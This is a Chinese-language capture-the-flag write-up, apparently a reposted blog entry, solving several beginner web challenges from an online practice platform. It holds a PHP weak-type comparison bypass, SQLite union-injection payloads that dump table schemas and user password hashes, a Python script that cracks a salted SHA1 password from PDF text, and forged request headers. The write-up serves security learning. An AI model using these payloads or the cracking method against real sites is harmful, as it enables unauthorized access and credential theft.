攻防世界web篇10.25

攻防世界web篇10.25

disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

攻防世界web篇10.25
删除disable clss=”class=”btn btn-default”在点击即可看到flag
攻防世界web篇10.25

攻防世界web篇10.25

; simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

(1)如果a=0且a为真,我们可以的到flag1;
(2)is_number($b)的意思是判断b是否为数字,如果为数字则返回,说明此处的b不能为数字不然就执行exit()了;
(3)要求b大于1234,可以得到flag2;
综上;
b要求非数字并且大于1234,涉及到php的弱类型比较;
本文直接给出b=1235a>1234,且b不为数字;

http://ip/index.php?a=%220%22&b=1235z

攻防世界web篇10.25
@/opt/api/database.sqlite3
攻防世界web篇10.25
html复制到1111.html使用浏览器打开
攻防世界web篇10.25

@/opt/api/database.sqlite3

view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
f12查看源码

攻防世界web篇10.25

; FlatScience

攻防世界web篇10.25

攻防世界web篇10.25
User-agent: *
Disallow: /login.php
Disallow: /admin.php

这里的user存在注入,并且会把结果给我们回显在cookie当中。

usr=1' uninon select 1,2 --+&pw=123

判断字段数,——-order by 或者直接 union select 1,2查看有无报错。
然后判断回显位置如下图所示

攻防世界web篇10.25
usr=-1' union select 1,2 -- +&pw=123

2被回显在了cookie处。下面进行sqlite注入的讲解(不同于mysql)
在sqlite数据库有一张sqlite_master表,存放着相关信息

攻防世界web篇10.25

攻防世界web篇10.25
usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=123

攻防世界web篇10.25
在这里插入代码片
usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=123

攻防世界web篇10.25
name
admin%2Cfritze%2Chansi
passwd
3fab54a50e770d830c0416df817567662a9dc85c%2C54eae8935c90f467427f05e4ece82cf569f89507%2C34b0bb7c304949f9ff2fc101eef0f048be10d3bd
Users表有四个字段:id,name,password,hint,利用group_concat()分别查询name,password和hint字段。执行如下所示的命令

union select 1,group_concat(name,"++++") from Users --+
union select 1,group_concat(password,"++++") from Users --+
union select 1,group_concat(hint,"++++") from Users --+
查询到的结果如下所示
usr=1%27 UNION SELECT id, hint from Users limit 0,1--+&pw=111

攻防世界web篇10.25
name=+my+fav+word+in+my+fav+paper%3F%21
利用脚本对passwd进行解密
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

爆破密码为:ThinJerboa

在admin.php里登录

攻防世界web篇10.25

xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。

攻防世界web篇10.25
X-Forwarded-For: 123.123.123.123
referer: https://www.google.com

攻防世界web篇10.25
cyberpeace{b252dd6ade8913315700b7cb94f41312}

Original: https://blog.csdn.net/weixin_51387754/article/details/127507639
Author: GuiltyFet
Title: 攻防世界web篇10.25

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/817212/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球